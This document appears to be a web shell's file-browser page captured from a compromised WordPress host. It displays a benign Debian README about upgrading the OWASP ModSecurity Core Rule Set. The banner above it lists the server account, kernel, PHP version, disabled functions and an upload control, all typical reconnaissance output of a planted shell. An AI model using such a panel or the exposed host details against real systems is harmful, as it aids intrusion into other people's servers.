HEX

Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit - prohibited by configuration in /home/u547966/brikov.ru/www/wp-content/plugins/admin-menu-editor/menu-editor.php on line 745
Server: Apache
System: Linux 4.19.0-0.bpo.9-amd64 x86_64 at red40
User: u547966 (5490)
PHP: 5.3.29-mh2
Disabled: syslog, dl, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, chown, chgrp, accelerator_reset, opcache_reset, accelerator_get_status, opcache_get_status, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority
$ pwd: /proc/self/root/usr/share/doc/modsecurity-crs/
Upload Files
File: //proc/self/root/usr/share/doc/modsecurity-crs/README.Debian
modsecurity-crs for Debian
--------------------------

Updating to 3.0.0
-----------------

OWASP Core Rule Set 3.x is incompatible with 2.x and changes the directory
layout for the rule files. You should update the way rule files are Included.

To ease this job from 3.0.0-3 the rule files you may want to modify were moved
to /etc/modsecurity/crs/. Those are:
crs-setup.conf
REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf

A new file (/usr/share/modsecurity-crs/owasp-crs.load) includes those files,
and the rest of CRS rules, in the right order.

Including that file in your configuration should be enough to use CRS.
Modsecurity-apache, from 2.9.1-2, already does that for you. Everything
should work out of the box.


 -- Alberto Gonzalez Iniesta <agi@inittab.org>  Wed, 21 Dec 2016 12:36:03 +0100
@ Telegram